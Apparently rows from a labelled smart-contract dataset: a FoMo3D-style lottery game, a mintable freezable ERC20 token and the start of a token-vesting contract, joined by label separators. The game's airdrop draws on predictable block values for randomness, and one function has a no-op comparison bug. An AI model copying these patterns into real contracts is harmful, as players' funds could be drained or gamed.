uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(address(0), _rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function buyCoreQR(address _realSender,uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_realSender,_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
_realSender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(address(0), _rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(address _realSender, uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
if (_realSender==address(0)) {
endTx(_pID, _team, _eth, _keys, _eventData_);
} else {
endTxQR(_realSender,_pID, _team, _eth, _keys, _eventData_);
}
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function determinePIDQR(address _realSender, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[_realSender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(_realSender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[_realSender] = _pID;
plyr_[_pID].addr = _realSender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
function endTxQR(address _realSender,uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
_realSender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
| 0 | 1,676 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "QUESTRA-WORLD-FONDATION";
string public constant TOKEN_SYMBOL = "QWF";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xeb7B89b0A5a1fe000C684F5be34aE78672043BDa;
uint public constant START_TIME = 1558282467;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
| 0 | 1,197 |
pragma solidity ^0.4.24;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
